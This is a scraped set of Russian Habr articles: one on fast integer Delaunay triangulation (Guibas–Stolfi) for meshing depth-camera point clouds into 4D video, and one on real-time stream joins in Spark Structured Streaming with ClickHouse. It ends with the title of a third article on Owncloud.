Если подумать, задача получения меша по облаку точек с одной 3D камеры довольно проста, значительно проще, чем произвольный meshing в 3D. Для этого нам не нужны никакие [марширующие кубы](https://en.wikipedia.org/wiki/Marching_cubes) или [реконструкция Пуассона](http://www.cs.jhu.edu/~misha/Code/PoissonRecon/Version9.01/). Вспомним, что точки были получены с помощью одной единственной IR-камеры и естественным образом проецируются обратно на фокальную плоскость:
Теперь мы можем решать задачу в 2D, забыв на время про Z-координату. Чтобы получить полигоны нужно всего лишь триангулировать множество точек на плоскости. Как только это сделано, мы проецируем вершины обратно в 3D используя [внутренние параметры](https://en.wikipedia.org/wiki/Pinhole_camera_model) IR-камеры и известную в каждой точке глубину. Триангуляция будет диктовать связность между вершинами, т.е. каждый треугольник мы интерпретируем как грань меша. Таким образом на каждом кадре получится настоящая 3D модель сцены, которую можно отрендерить в OpenGL, открыть в Blender и т.п.
Итак, всё что осталось сделать — найти триангуляцию для точек на каждом кадре. Есть масса способов триангулировать множество точек в 2D, и по сути любая триангуляция даст нам какой-то меш. Но ровно один способ является оптимальным для построения полигональной сетки — триангуляция Делоне.
Эту интересную конструкцию уже не раз упоминали на Хабре, но я всё таки напишу пару слов. Все из нас видели диаграммы Вороного. Диаграмма Вороного для множества точек S это такое разбиение плоскости на ячейки, где каждая ячейка содержит все точки наиболее близкие к одному из элементов S.
А триангуляция Делоне это такая триангуляция, которая в смысле теории графов [двойственна](https://ru.wikipedia.org/wiki/%D0%94%D0%B2%D0%BE%D0%B9%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D1%8B%D0%B9_%D0%B3%D1%80%D0%B0%D1%84) диаграмме Вороного:
Триангуляции Делоне обладают множеством замечательных свойств, но нам особенно интересны вот эти два:
1. Описанная около любого из треугольников окружность не содержит в себе точек множества, кроме вершин самого треугольника.
2. Триангуляция Делоне максимизирует минимальный угол среди всех углов всех треугольников, тем самым избегаются вырожденные и «тонкие» треугольники.
Свойство #2 достаточно интуитивно следует из #1. Действительно, чтобы описанные окружности не содержали посторонних точек, они должны быть по возможности небольшими, а радиус окружности для “тонких” треугольников (близких к вырожденным) наоборот очень велик. Таким образом триангуляция Делоне максимизирует количество “хороших” треугольников, далёких от вырожденных. А значит и наш меш должен выглядеть хорошо.
Сказано — сделано, пишем триангуляцию Делоне. Есть множество известных алгоритмов, [самые простые](https://e-maxx.ru/algo/voronoi_diagram_2d_n4) начинаются где-то с . Но раз люди научились считать эти триангуляции за , мы просто не можем быть медленнее!
Как и во многих других подобных задачах, алгоритм строится по принципу “разделяй и властвуй”. Будем сортировать точки по координатам x и y, а затем рекурсивно генерировать и объединять триангуляции пока не получится один большой граф. Достаточно показать вот этот кусочек кода, чтобы стало понятно, что здесь происходит:
```
const uint16_t numRight = numPoints / 2, numLeft = numPoints - numRight;
EdgeIdx lle; // CCW convex hull edge starting at the leftmost vertex of left triangulation
EdgeIdx lre; // CW convex hull edge starting at the rightmost vertex of left triangulation
EdgeIdx rle; // CCW convex hull edge starting at the leftmost vertex of right triangulation
EdgeIdx rre; // CW convex hull edge starting at the rightmost vertex of right triangulation
triangulateSubset(lIdx + numLeft, numRight, rle, rre);
triangulateSubset(lIdx, numLeft, lle, lre);
mergeTriangulations(lle, lre, rle, rre, le, re);
```
В принципе всё, можно расходиться.
На самом деле нет, потому что самое интересное начинается в функции mergeTriangulations. Действительно, если мы разделили наше множество пополам достаточное число раз, мы остались с кусочками по две или три точки, с которыми мы как-нибудь разберёмся:
А что потом?
**Про иллюстрации**
Здесь и далее я буду сопровождать описание GIF-анимациями, которые сгенерировала моя программа, а также иллюстрациями из одной хорошей статьи. При описании алгоритма я во многом буду повторять эту [статью](http://www.geom.uiuc.edu/~samuelp/del_project.html), так что если возникнут вопросы можно смело с ней консультироваться.
На самом деле тоже ничего сложного. В каждом листе рекурсии мы уже получили валидное решение подзадачи. Осталось подняться вверх по стеку, по пути сливая левое и правое разбиение в единое целое. Но делать это нужно аккуратно, т.к. далеко не каждый способ слияния даст нам на выходе триангуляцию Делоне.
Алгоритм Гибаса и Столфи предлагает весьма элегантное решение этой проблемы. Идея в том, чтобы воспользоваться свойством #1, которое я упомянул выше, но обо всём по порядку.
Сперва немного обозначений; давайте назовём левую триангуляцию L, а правую R. Тогда рёбра, принадлежащие левой триангуляции будем называть LL, т.к. они начинаются и заканчиваются в точках левого подмножества. Ребра правой триангуляции назовём RR, а рёбра, которые мы будем добавлять между левой и правой половиной — LR, точно как на иллюстрации:
Как видно, здесь мы уже “помёржили” стартовые треугольнички и рёбра в триангуляции аж из целых четырёх треугольников. Все рёбра, которые присутствовали на предыдущем шаге отмечены как LL или RR, а все новые рёбра — LR. Процесс слияния на этом шаге не показан, так как он весьма тривиален, и не позволит показать особенности алгоритма. А вот на следующем шаге будет интереснее, давайте его и рассмотрим. Вот так выглядит наша задача перед началом слияния:
Заметим, что “внешние” рёбра и в левой и в правой половине (такие как 1-2, 2-5, 5-4, 6-8) образуют выпуклые оболочки своего подмножества точек. Понятно, что такие рёбра всегда принадлежат триангуляции Делоне, да и вообще любой триангуляции. Заметим также, что при слиянии двух непересекающихся разбиений нам всегда нужно будет добавить ровно два новых ребра, чтобы достроить выпуклую оболочку объединённого множества (грубо говоря, “накрыть” точки новыми рёбрами сверху и снизу). Отлично, у нас уже есть два новых LR-ребра! Выберем одно из них, нижнее, и назовём его “базой” (в коде — base).
Теперь мы должны добавить следующее ребро, смежное с base, при этом один из его концов совпадает с концом base, а другим концом является точка либо из L, либо из R. Собственно, нам и нужно решить какой из двух вариантов является правильным. Начнём с правой стороны. Первым кандидатом будет точка, связанная с правым концом base RR-ребром с наименьшим углом по часовой стрелке относительно base. Следующими по очереди кандидатами будут точки R, соединённые с правой вершиной base RR-рёбрами с увеличивающимся значением угла относительно base, как показано на иллюстрации:
Теперь для каждого кандидата нужно проверить два условия:
1. Угол между base и кандидатом не должен превышать 180 градусов (нас интересуют только те точки, что “выше” base).
2. Окружность, описанная вокруг base и точки-кандидата не должна содержать в себе следующую точку-кандидат.
В зависимости от конфигурации вершин здесь может быть несколько вариантов:
* Нашлась точка-кандидат, которая удовлетворяет обоим критериям. Отлично, это и будет наш выбор для правой стороны.
* Если не выполняется требование #1 (угол < 180 градусов), значит мы уже достигли “верха”, и более нет необходимости выбирать точки с правой стороны. Рассматриваем только левую триангуляцию.
* Самый интересный случай — выполняется условие #1, но не #2 (см. иллюстрацию). В этом случае нам нужно удалить RR-ребро, которое соединяет base с точкой-кандидатом и повторить поиск заново.
Естественно, процесс для левой половины абсолютно симметричен.
Таким образом при каждом добавлении нового LR-ребра мы выбираем точку-кандидат из левой и правой половины. Если ни там, ни там не нашлось подходящей точки, значит мы завершили слияние и нужно подниматься дальше по стеку. Если нашлась одна точка (только слева или только справа), мы добавляем LR-ребро с концом в ней. Если точки нашлись с обеих сторон, мы повторяем тест с окружностью: строим описанную окружность вокруг base и точки-кандидата из L и R. Выбираем ту точку, чья окружность не содержит кандидата из противоположной половины. Факт: такая точка всегда будет единственной, если только четыре вершины не образуют прямоугольник. В этом случае можно выбрать любой из вариантов.
В данном примере мы выбираем кандидата из L, потому что соответствующая окружность не содержит точку-кандидата из R.
После того как новое LR-ребро добавлено, оно становится новой “базой” (base). Повторяем обновление base пока не достигнем верхнего ребра выпуклой оболочки:
Оказывается, если наш алгоритм будет аккуратно следовать описанным правилам, то после слияния левой и правой половины мы получим валидную триангуляцию Делоне для L∪R.
”Я нашёл этому поистине чудесное доказательство, но поля данной книги слишком узки для него”. На самом деле, если вам интересно, откуда взялись все утверждения, например про необходимость удаления рёбер, рекомендую исследовать [работу Гибаса и Столфи](http://www.sccg.sk/~samuelcik/dgs/quad_edge.pdf), ключевые леммы под номерами 9.2, 9.3, 9.4, 8.3.
Что ж, теперь соберём всё вместе и посмотрим что получится:
Это визуализация работы алгоритма, который у меня получился. Здесь оранжевым отмечено ребро base, зелёным — LL-кандидат, синим — RR-кандидат. Красным помечены рёбра, которые не удовлетворяют критерию #2 и будут удалены.
Пока описание алгоритма ещё свежо в памяти, очень легко понять, что он действительно выполняется за . Действительно, мы имеем порядка  операций слияния; даже если на каждой из них мы вынуждены будем удалить и перестроить вообще все рёбра, количество действий всё равно останется порядка  (т.к. это триангуляция, а не произвольный граф, количество ребер линейно относительно количества точек). На самом деле, на большинстве реальных задач скорость работы лучше чем  и близка к линейной; нужен какой-нибудь особенно больной датасет, чтобы заставить алгоритм перестраивать триангуляцию с нуля на каждой стадии слияния.
Ещё одно замечание — из полученной триангуляции легко получить и выпуклую оболочку, и диаграмму Вороного для соответствующего множества точек. Приятный бонус.
Интересно сказать пару слов про структуру данных, которую я использовал для работы с графом. Обычно графы представляют как списки или матрицы смежности, но в данной задаче нас интересует не только связность, но и некоторые геометрические свойства графа. Вот что у меня получилось:
```
struct TriEdge
{
uint16_t origPnt; // index of edge's origin point
EdgeIdx symEdge; // index of pair edge, with same endpoints and opposite direction
EdgeIdx nextCcwEdge; // next counterclockwise (CCW) edge around the origin
EdgeIdx prevCcwEdge; // previous CCW edge around the origin (or next CW edge)
};
```
Это в некотором роде урезанная версия структуры, которую предлагают Гибас и Столфи. Как говорится, всё гениальное просто. Для каждого ребра мы храним точку, из которой оно “выходит” (origin), индекс его парного ребра, направленного в противоположную сторону, а также индексы следующего и предыдущего ребра “вокруг” origin-точки. По сути получается двусвязный список, но так как мы поддерживаем относительное расположение рёбер вокруг их концов, многие шаги алгоритма кодируются просто элементарно.
В [некоторых других работах](https://www.cs.cmu.edu/~quake/triangle.html) предлагается хранить не рёбра, а сразу треугольники. Я пробовал экспериментировать с таким вариантом, и могу сказать, что объем кода вырастает в разы, т.к. приходится вводить многочисленные костыли для особых случаев (вырожденные треугольники, точки на бесконечности и т.п.). И хотя у такого варианта есть потенциальное преимущество в плане использования памяти, я всячески рекомендую использовать двусвязные списки рёбер. Работать с ними в разы приятнее.
Я думаю с этого момента можно перестать притворяться, что кому-то интересны детали реализации алгоритма. Можно просто расслабиться и позалипать на эти замечательные анимации.
Как насчёт регулярной сетки?
Здесь точки удачно поделились на подмножества и вообще не пришлось удалять никакие рёбра. Но так бывает не всегда.
Уже интереснее. Количество точек на стороне решётки стало нечётным и из-за этого алгоритм вынужден делать довольно много исправлений. Как насчёт окружности из точек?
Интересно! Но мне больше нравится с точкой в центре:
Я думаю, к этому моменту статья содержит достаточное количество GIF-анимаций. Чтобы у читателей с [ограничениями по трафику](https://geektimes.ru/post/290377/) осталось хоть немного интернета после загрузки этой статьи, я залил остальные анимации на видео-хостинг.
**Рекомендуется залипать в 1080p и 60fps, это оригинальное разрешение видео. Причём лучше развернуть на весь экран, иначе рёбра графа получаются алиасными.**
Я осознаю, что эти видео интересны далеко не всем, но на меня они производят такой же эффект, как заставка “трубопровод” в старых версиях Windows. Оторваться сложно.
Эти анимации стали главной причиной, почему статья писалась так долго. Note to self: в следующий раз обойтись дебаггером и трейсами, делать дебажные визуализации опасно :) Если кто-то хочет посмотреть на работу алгоритма на других конфигурациях точек, пишите в комментариях, я с удовольствием сгенерирую ещё анимаций.
Развлекаться с визуализацией было весело, но пришло время вспомнить для чего изначально создавался алгоритм. Мы собирались генерировать полигональный меш из данных с depth-сенсора. Что ж, давайте возьмём облако точек с сенсора, спроецируем на плоскость камеры и запустим алгоритм триангуляции.
(Не спрашивайте меня сколько рендерился этот ролик. Бедный ffmpeg.)
Итак, отлично! Хотя на данном этапе у нас есть только граф из точек и рёбер, из него элементарным образом можно сгенерировать массив треугольников. Осталось только отфильтровать некрасивые полигоны вытянутые по Z-координате, которые возникают на границах объектов и сделать простой проигрыватель на OpenGL:
Здесь хорошо видно, что первая версия граббера была очень сырой: половина кадров не успели записаться, из-за этого картинка замирает. Короче, едва ли режиссёрский шедевр. Но это не важно — алгоритмы наконец-то ожили! Для меня это было настоящее “Прибытие поезда”!
После этого я снял ещё пару роликов, я залил их на ресурс Sketchfab в формате timeframe animation, мне кажется так будет интереснее.
[Датасет #2 в WebGL](https://skfb.ly/6soGq)
[Датасет #3 в WebGL](https://skfb.ly/6soGr)
Что ж, пайплайн заработал и стало ясно, что дальнейшее развитие ограничивают возможности железа. Действительно, планшет Tango позволяет снимать только с очень низкой частотой кадров (5 fps), а ведь основная идея была в том, чтобы запечатлеть динамический характер сцен. Есть ещё одно существенное ограничение: в Tango не синхронизированы RGB и IR камеры, то есть получение кадров происходит в разные моменты времени. Это не критично для, скажем, сканирования статических объектов, т.к. Tango SDK позволяет найти преобразование между позами RGB и IR для соседних кадров с помощью встроенного трекинга на основе высокочастотного акселерометра и fisheye камеры. Но с движущимися объектами это совершенно не помогает, и для меня отсутствие синхронизации означало, что на меш не получится натянуть текстуру.
К счастью у меня был ещё один девайс — [Intel RealSense R200](http://static.digit.in/default/6eb40fabea88d36104bbdecfcdbf0b7c07a42d99.jpeg). Чудесным образом R200 не имеет обоих недостатков, т.к. он развивает до 60(!) fps и имеет отличную синхронизацию всех своих камер. Так что я решил написать приложение-граббер для R200 (на этот раз на [C++](https://github.com/alex-petrenko/4dvideo/blob/master/src/libs/realsense/src/realsense_grabber.cpp), а не на Java) и продолжить эксперименты.
Сразу же выяснилось, что с моим пайплайном есть небольшая проблема. С увеличенным разрешением и высокой частотой съемки, которую позволяет R200, производительности уже не хватало, чтобы генерировать меш на каждом кадре в реалтайме. Профилировка показала, что узкое место — это конечно же триангуляция. Первоначальная версия была написана достаточно “расслабленно”, с динамическим выделением памяти, использованием STL и т.п. Кроме того, первая версия работала с координатами типа float, хотя в моей задаче точки всегда имеют целочисленные координаты (позиции в пикселях на картинке). Так что неудивительно, что хороший с точки зрения асимптотики алгоритм работал на моём ноутбуке до 30 миллисекунд на тестовом кадре с Tango (около 12000 точек). Потенциал для ускорения был очевиден и я увлечённо засел оптимизировать. Развивались события как-то так:
* Первым делом на алтарь скорости отправились числа с плавающей точкой. Все алгоритмы (где это возможно) перешли на целочисленные вычисления.
* Вторым на очереди было динамическое выделение памяти. Теперь вся память для алгоритма выделялась один раз, “на худший случай”, и затем переиспользовалась. Не самое эффективное решение с точки зрения потребления памяти (в духе ACM ICPC), но это дало значительное ускорение.
* На сайте проекта посвящённого численной симуляции землетрясений был найден замечательный [тест](https://www.cs.cmu.edu/~quake/robust.html) на нахождение точки внутри описанной окружности треугольника:
Вот его реализация:
```
FORCE_INLINE bool inCircle(int x1, int y1, int x2, int y2, int x3, int y3, int px, int py)
{
// reduce the computational complexity by substracting the last row of the matrix
// ref: https://www.cs.cmu.edu/~quake/robust.html
const int p1p_x = x1 - px;
const int p1p_y = y1 - py;
const int p2p_x = x2 - px;
const int p2p_y = y2 - py;
const int p3p_x = x3 - px;
const int p3p_y = y3 - py;
const int64_t p1p = p1p_x * p1p_x + p1p_y * p1p_y;
const int64_t p2p = p2p_x * p2p_x + p2p_y * p2p_y;
const int64_t p3p = p3p_x * p3p_x + p3p_y * p3p_y;
// determinant of matrix, see paper for the reference
const int64_t res = p1p_x * (p2p_y * p3p - p2p * p3p_y)
- p1p_y * (p2p_x * p3p - p2p * p3p_x)
+ p1p * (p2p_x * p3p_y - p2p_y * p3p_x);
assert(std::abs(res) < std::numeric_limits::max() / 100);
return res < 0;
}
```
Эти три мероприятия дали очень значительное ускорение, с 30000+ до 6100 микросекунд на кадр. Но можно было ускорить ещё:
* Сделал некоторым небольшим функциям \_\_forceinline, 6100 -> 5700 микросекунд, редкий случай когда компилятор сам не догадался.
* Удалил #pragma pack(push, 1) для стуктуры TriEdge. И почему я решил, что с запаковкой будет быстрее? 5700 -> 4800 микросекунд.
* Заменил std::sort для точек на самописную сортировку, похожую на radix. 4800->3700 микросекунд.
Итого получилось ускорить код почти в 10 раз, и я думаю это не предел. Кстати, я не поленился собрать код для Android, и на схожей задаче ARM процессор Tango работал около 10 миллисекунд на кадр, т.е. 100 fps! Короче, получился даже немного overkill, но если кому-то нужна очень быстрая “целочисленная” триангуляция Делоне, то добро пожаловать в репозиторий.
Теперь мои алгоритмы были готовы к R200, и вот первый датасет, который я снял:
За ним, естественно, последовали другие. Не буду прикладывать видео моего OpenGL viewer’а, по-моему интереснее смотреть сразу на Sketchfab: [skfb.ly/6s6Ar](https://skfb.ly/6s6Ar)
Рекомендуется открывать не больше одного ролика за раз, т.к. Sketchfab грузит в память сразу все кадры датасета, и вообще viewer у них не очень быстрый. Кстати, вот обещанный 4D котик (Вася):
* [skfb.ly/6s6AC](https://skfb.ly/6s6AC)
* [skfb.ly/6s6AJ](https://skfb.ly/6s6AJ)
Пёс Тотошка был не очень счастлив, что на него светят лазером. Но выбора у него не было:
* [skfb.ly/6s6AP](https://skfb.ly/6s6AP)
* [skfb.ly/6s6BH](https://skfb.ly/6s6BH)
Ещё несколько роликов есть в моём аккаунте на Sketchfab. Конечно, качество моделей можно улучшить если тщательно отфильтровать шумы от сенсора, можно уменьшить количество точек, чтобы проигрыватель на сайте не так тормозил, и т.п. Но как говорится, нет предела совершенству; я и так потратил на этот pet project много времени.
Да и вообще, учитывая агрессивное наступление AR и VR, я уверен что разработчики не обделят вниманием эти задачи. В сети встречается всё больше volumetric контента, как CG:
так и снятого в реальной жизни:
Согласитесь, выглядит весьма впечатляюще! В общем, за будущее free-viewpoint video переживать не приходится.
Напоследок нужно сказать, что весь код написанный для этого проекта доступен на [Github](https://github.com/alex-petrenko/4dvideo) под свободной лицензией. Хотя сгенерированные 4D ролики получились едва ли впечатляющими, у алгоритмов всё равно есть потенциал для дальнейшего использования и развития.
Главное преимущество описанного в статье подхода состоит в том, что 3D сцена генерируется на лету в realtime, в самом проигрывателе. Из-за этого в сжатом виде ролики могут занимать очень мало места, по сути почти столько же, сколько аналогичное традиционное видео.
Действительно, обычное RGB видео нужно нам только для текстур, а 3D координаты точек можно сохранять как разреженные карты глубины и тоже кодировать в видео-файл, уже в grayscale. Таким образом, для рендеринга одного кадра в 3D нам нужны только кадры из двух видео и немного метаданных (параметры камеры, и т.п.). На основе этого можно сделать прикольное приложение, скажем, Skype в augmented reality. Собеседника снимает depth-камера, а ваш iPhone в реальном времени рендерит говорящую 3D голову с помощью ARKit. Почти как голограммы из Star Wars.
Есть ещё вариант, который может пригодиться пользователям Tango. Дело в том, что Tango SDK предоставляет данные в виде облаков точек в 3D (как я и описывал выше), при этом для многих алгоритмов хочется иметь плотную карту глубины (depth map). Самый распространённый способ её получения — спроецировать точки на фокальную плоскость и проинтерполировать значения глубины между соседними точками, в которых оно известно. Так вот комбинация триангуляции Делоне + OpenGL позволяет делать эту интерполяцию точно и эффективно. За счёт того, что растеризация происходит на GPU, можно генерировать карты глубины в высоком разрешении даже на смартфоне.
Но это всё лирика. Пока что я просто очень рад что дописал статью. Если есть какие-то мысли или фидбек, предлагаю обсудить в комментариях.
#### Image credits
* [Voronoi diagram](https://en.wikipedia.org/wiki/Voronoi_diagram)
* [Voronoi faces](http://www.flong.com/projects/zoo/)
* [Voronoi giraffe](https://ru.pinterest.com/pin/364862007282864701/)
* [Voronoi-Delaunay duality](http://www-cs-students.stanford.edu/~amitp/game-programming/polygon-map-generation/)
* [Algorithm](http://www.geom.uiuc.edu/~samuelp/del_project.html) | https://habr.com/ru/post/333532/ | null | ru | null |
# Как мы готовили распределенный джойн на Spark Structured Streaming. Доклад с RamblerMeetup&Usermodel
***История о том, как суточный ETL-контур карабкался в реалтайм.***
**Rambler&Co** – это медиахолдинг, который состоит из популярных и ежедневно читаемых изданий Рунета. Самые крупные из них давно у всех на слуху: «Лента.ру», портал «Рамблер», «Газета.Ru», «Секрет фирмы» и другие. Все они стремятся к тому, чтобы пользователь читал наиболее релевантный для него контент и проводил на площадке больше времени.
Специально для этого в рамках AdTech-подразделения холдинга выделено отдельное направление **Usermodel**, которое занимается анализом и сегментацией аудитории, а также повышением конверсий на площадках. Один из проектов этого направления – ***Recommender*** *(система рекомендаций)*, в котором искусственный интеллект подстраивается под интересы пользователей и из массы контента на площадке выбирает самые интересные новости и статьи персонально для каждого посетителя сайта.
Что вы узнаете из этой статьи?
------------------------------
* Зачем нам нужен Realtime-контур на Spark?
* Как правильно написать его так, чтобы он джойнил логи на лету?
* С какими подводными камнями можно столкнуться?
И да, кстати, недавно мы провели RamblerMeetup&Usermodel, на котором я выступил как раз с этим материалом. Посмотреть запись митапа можно тут:
С чем мы имеем дело?
--------------------
Для начала проекту рекомендаций нужно узнать, как пользователи взаимодействуют с контентом, чтобы понять, что их интересует. Для этого медиаплощадки отправляют множество событий в счётчик **Tоп-100** – собственную систему веб-аналитики, разработанную Rambler&Co, и каталог, ведущий подсчет популярности сайтов в Рунете. Инструменты Топ-100 позволяют смотреть, как посетители взаимодействуют с контентом, размещенным на той или иной площадке, измерять кликабельность отдельных элементов страницы, а также проводить конкурентный анализ сайтов.
Топ-100, в свою очередь, засылает события, которые ему передают медиаплощадки, в распределённую очередь *Kafka,* оттуда они вычитываются в *HDFS* и над ними строятся таблицы в Hive. Это классическая схема ETL.
Сервис рекомендаций и сам отсылает события, но уже в другую Kafka. В них примерно такое содержание: «Рекомендованы статьи , для пользователя ». Они проходят практически тот же путь от сервиса до хадупа, что и события от площадок. Потом эти события с фронта и бэка джойнятся для последующей аналитики. Так выглядела схема описанного контура:
Чего нам не хватало?
--------------------
Один из недостатков классического ETL – суточные выгрузки. Данные будут готовы к анализу только на следующий день после того, как событие произошло. Эта проблема встала особенно остро, когда потребовалось проводить аналитику в реальном времени.
Хотелось реалтайм-аналитики – взяли Spark Structured Streaming и решили переписать контур на него. Новая схема выглядит вот так:
Важное замечание: джойн теперь лежит на плечах Spark Structured Streaming и проходит в реальном времени. А вместо таблиц хранения данных в хадупе мы воспользовались аналитической базой данных Clickhouse. Основной вопрос в этой ситуации – как провести Join потоков событий из двух Kafka-очередей в реальном времени.
Spark Structured Streaming
--------------------------
Что вообще это такое? Прежде всего это часть фреймворка Spark, которая отвечает за обработку потоков данных. Внешне операции над потоками очень похожи на операции в Spark SQL – те же датафреймы, те же трансформации. В потоковом пайплайне важно понимать разделение операций на stateless и stateful.
Stateful-операция в Spark – операция с сохранением состояния, в которой обработка новой записи зависит от пришедших ранее данных. Пример – Join стримов, когда в наш обработчик приходит событие из потока **Топ-100** (допустим, событие клика), результат его обработки зависит от того, пришло ли до этого соответствующее событие от сервиса и каким оно было. Разберём подробнее, как такой Join происходит и как его настроить.
Realtime Join
-------------
Как выяснилось, Join двух потоков отличается от Join операции над статическими данными. Ниже несколько нюансов join-a в реальном времени, которые надо как-то разрешить.
**Не все данные известны, они приходят в реальном времени.**
Если при работе со Spark SQL или с базами данных можно сделать запрос за любой интересующий промежуток времени, то в задачах потоковой обработки этой возможности не хватает. Все данные, которые когда-либо приходили, не получится хранить в стейте – его нужно очищать. Но как понять, какие данные не пригодятся и когда их можно удалить? Самая удобная идея – хранить данные за последние N минут, а всё, что старше, – удалять. Звучит довольно просто. Но разберём несколько гипотетических ситуаций.
Предположим, что мы храним данные за последние 30 минут. Пользователь заходит на сайт. Сайт запрашивает у нашего сервиса персональные рекомендации. В логах сервиса появилось событие ответа, в логах клиента – событие показа. Предположим, что пользователь уйдёт на 2 часа, а потом вернётся и кликнет на рекомендованную сервисом новость. Событие попадёт в счётчик и уйдёт в Kafka, но мы потеряем его связь с ответом сервиса, потому что событие из сервиса давно удалилось из стейта.
Готовы ли мы с этим смириться? Клик через 2 часа после просмотра – ситуация нечастая, а чтобы её правильно обработать требуется слишком много ресурсов. Допустим, на это мы готовы закрыть глаза и потерять реалтайм-статистику по таким событиям. Но что произойдёт, если пользователь кликнул на статью сразу после выдачи сервиса, событие отправилось, но из-за проблем с очередью в потоковую обработку оно пришло только спустя 2 часа? Будем ли мы при каждом падении брокера терять статистику по событиям? С такими рисками уже гораздо сложнее смириться.
Получится ли обработать событие, которое произошло через минуту после запроса к сервису, но из-за проблем с очередью могло прийти гораздо позже?
Чтобы разрешить вопросы вроде этих, на помощь приходят инструменты Spark Structured Streaming для stateful-операций. Рассмотрим здесь три из них:
1. Event time;
2. Watermark;
3. окно в join condition.
Event Time
----------
Event time обозначает время, в которое событие произошло. Эта информация просто необходима при потоковой обработке в Spark со stateful-операциями. Если событие опоздает, Spark будет оперировать не временем его чтения, а временем, когда оно возникло. Почему это так важно? Посмотрим на схему:
Здесь изображён простой поток данных, в котором одно из событий опоздало. Часто они читаются из Kafka не в том порядке, в котором произошли. Событие «owl» произошло в 12:05, раньше чем «owl cat», но пришло оно позже (примерно в 12:17).
Именно Event time позволит восстановить последовательность событий и моменты времени, к которым они относятся.
Watermark
---------
Разобравшись в Event time, можем двигаться к инструменту Watermark.
Watermark – это то время, после которого все события потока должны храниться в стейте и которое обновляется в конце обработки каждого микробатча. Watermark позволяет ограничить количество хранимых событий.
Вычисляется Watermark так:
* берём максимальное (минимальное или среднее, есть вариации) время события в стейте (Event time, естественно);
* вычитаем watermarkDelay – некоторое значение типа timedelta, которое мы задали в коде.
Теперь стейт не будет разрастаться, потому что старые события будут удаляться автоматически.
Так выглядит Watermark наглядно. Жёлтая линия на графике – максимальный Event time, оранжевая – Watermark. В стейте хранятся только данные за период между оранжевой и жёлтой линией, на графике это период равен примерно 20 минутам. Для нашего приложения объём стейта за это время достигает 80 ГБ.
Join Condition
--------------
Переходим к менее очевидному инструменту. Видно, что стейт в нашем приложении достаточно большой. А когда придёт новое событие из потока Топ-100, Spark будет искать в нём соответствующее событие из логов сервиса, и, так как он большой, это займет много времени. Чтобы ускорить процесс, мы хотим установить правило: все интересующие нас события на клиенте происходят в течение N минут после ответа сервиса. Чтобы поиск шёл не по всему стейту, а только по определённому временному окну вокруг события, достаточно указать ограничения на Event time обоих потоков относительно друг друга в условии джойна.
Так будет выглядеть условие для простого джойна:
```
s1 = input_stream1.alias("s1")
s2 = input_stream2.alias("s2")
s1.join(
s2, on="""
s1.word=s2.word
and s1.event_time <= s2.event_time + interval '5 seconds'
and s1.event_time >= s2.event_time - interval '30 seconds'
""")
```
Теперь поиск событий из intput\_stream2 для джойна независимо от размера стейта будет происходить в таком окне:
В такой ситуации джойн не произойдёт:
Нюансы, с которыми мы столкнулись
---------------------------------
Мы использовали описанные инструменты, поставили в качестве Event time timestamp продюсера Kafka, подобрали Watermark для нашего стейта и ждали, что джойн будет проходить гладко. Но что-то пошло не так.
**Первая проблема** – потеря данных. ~50% данных, которые мы ожидали увидеть в Clickhouse, куда-то пропадали. В теории это было невозможно: мы использовали левый джойн, все данные левого потока должны были попасть в базу. Но на всякий случай мы замониторили Watermark и min-, avg-, max- Event time стримов. Создали тот самый график, который представлен выше как иллюстрация Watermark. И сначала он выглядел совсем по-другому:
Мы стали разбираться, откуда такие колебания в Event time, и выяснилось, что Kafka timestamp очень ненадёжный: в половине случаев приходил нулевой Event time, несмотря на то, что продюсер явно проставлял это время при отправке события. Данные мы в итоге нашли в партиции 1970-01-01 Clickhouse, потому что они партиционировались по тому же Event time.
Столкнувшись с такой ситуацией, мы сделали следующий вывод:
*не надо полагаться на временные метки от брокеров сообщений / баз данных / других посредников (особенно если речь про Kafka). Значение Event time должно находиться внутри события, быть частью данных и формироваться перед отправкой.*
Когда пофиксили Event time возникла **вторая проблема**: слишком долгая обработка. Вначале всё было в порядке – микробатч обрабатывался в пределах трёх минут, триггер на обработку происходил раз в 5 минут. Но через несколько дней время обработки начинало расти и дорастало до нескольких часов. Причина – скос партиций. Spark распределил данные для обработки неравномерно, в результате на нескольких экзекьюторах оказалась слишком большая часть данных, которые гораздо дольше обрабатывались на других экзекьюторах.
Ключи в джойне имели тип uuid, они не должны были вызывать скос, потому что генерировались случайным образом для каждого запроса к сервису. Оказалось, что среди них было очень много NULL-значений. Они попадали на один экзекьютор, и Spark пытался по ним сджойнить потоки, хотя это не имело смысла. Классический вариант решения проблемы скоса – добавить в NULL-ключи соль для более равномерного распределения – оказался не лучшим вариантом. Мы нашли более эффективный способ: выделили все события с NULL-ключами в отдельный поток и стали писать его в базу без джойна.
Схема Spark-приложения получилась такой:
Мы не вешали Watermark на события с NULL-ключами, не сохраняли их в стейт, разделили потоковую обработку на две и, таким образом, ускорили процесс.
Следующий этап – отправка в Clickhouse. Эта база данных плохо обрабатывает операции на вставку с большим количеством данных (более миллиона строк), поэтому надо их как-то разделить. Средствами Pyspark нельзя эффективно разделить данные на партиции по количеству строк (так, чтобы в каждой было не более N строк, при том, что общее число строк неизвестно), поэтому мы решили внутри каждой партиции при отправке делить данные на чанки и отправлять за один запрос не более 500 000 строк. Даже если обычно партиция насчитывает меньше полумиллиона строк, это решение будет хорошей подстраховкой на случай, если приложение выйдет из строя на некоторое время и потом будет восстанавливаться с чекпоинтов и обрабатывать одним батчем гораздо больше данных, чем в пределах одного интервала. В качестве альтернативы мы рассматривали параметр конфига `maxOffsetsPerTrigger: 500000`, но вышло так, что, на первый батч после старта стриминга это ограничение не влияет, а после старта с чекпоинтов первый батч – самый большой. И вишенкой на торте был мониторинг расхождений с существующим ETL-контуром. Сейчас это расхождение составляет менее одного процента.
**Итак, подведём итоги**. В процессе переезда на реалтайм-обработку наших событий мы приобрели значительный опыт, а также выявили критические ошибки, с которыми бы не пожелали бы никому сталкиваться. Это и неправильный подбор Event time, и недостаточное внимание к распределению ключей в джойне, и некорректный подбор окон. Но мы вынесли из этого процесса некоторые инсайты, которые не получится найти на страницах документации или увидеть на примере реального проекта. Сейчас наш стриминг прекрасно работает, матчится более чем на 99% с статической суточной ETL-обработкой, которая осталась рядом.
Из этого доклада вы узнали:
* почему ETL-контура может быть недостаточно;
* как сджойнить большие данные в реальном времени и без сохранения в HDFS;
* как не перегрузить Clickhouse своим реалтайм-контуром. | https://habr.com/ru/post/569932/ | null | ru | null |
# Поднимаем Owncloud с нуля с динамическим IP и Let's Encrypt. Тысяча слонов!*
